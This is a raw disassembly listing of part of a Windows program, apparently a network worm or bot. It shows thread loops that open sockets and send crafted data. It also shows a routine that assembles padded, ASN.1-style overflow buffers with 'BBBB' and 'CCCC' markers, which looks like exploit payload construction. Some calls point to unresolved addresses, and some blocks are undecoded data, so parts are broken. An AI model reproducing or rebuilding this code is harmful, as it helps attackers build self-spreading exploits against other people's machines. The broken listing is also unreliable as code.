		add	esp, 14h

loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB0C4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7

loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40C4A2

loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------

loc_40C4A2:				; CODE XREF: sub_40C124+371j
		nop
		call	near ptr 2690CE2h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AEC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428

loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi

loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB0C0[eax*8]
		push	eax
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AAC
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h

loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB0C4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD0C0
		call	near ptr 26F06F1h
		nop

loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h

loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB0C4[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43DEBC[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB000
		push	eax
		mov	edi, offset dword_4CDA84
		push	offset dword_431B8C
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h

loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB00C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h
		dd 1BB468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 0E5E85757h,	9002283Eh, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0DBE890FCh,	0FF022641h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch
		dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 868FFFFh
		dd 5000431Ch, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	90575700h
		dd 283DF3E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 22640EAh, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0DC68FFFFh
		dd 5000431Bh, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx

loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949

loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------

loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------

loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CAE2C
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------

loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1

loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42C8E8
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F

loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_431C40
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_431C48
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_431FC4
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_431C4C
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_431FB8
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_431FB4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_431FB0
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_431FA4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_431F9F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------

loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	near ptr 71AB1890h
		nop
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB

loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------

loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CAF8C

loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CAF70
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CAFC4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------

loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_431CDC
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_431D0C
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CDC8C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_431C54
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95

loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------

loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1

loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl

loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_431D18
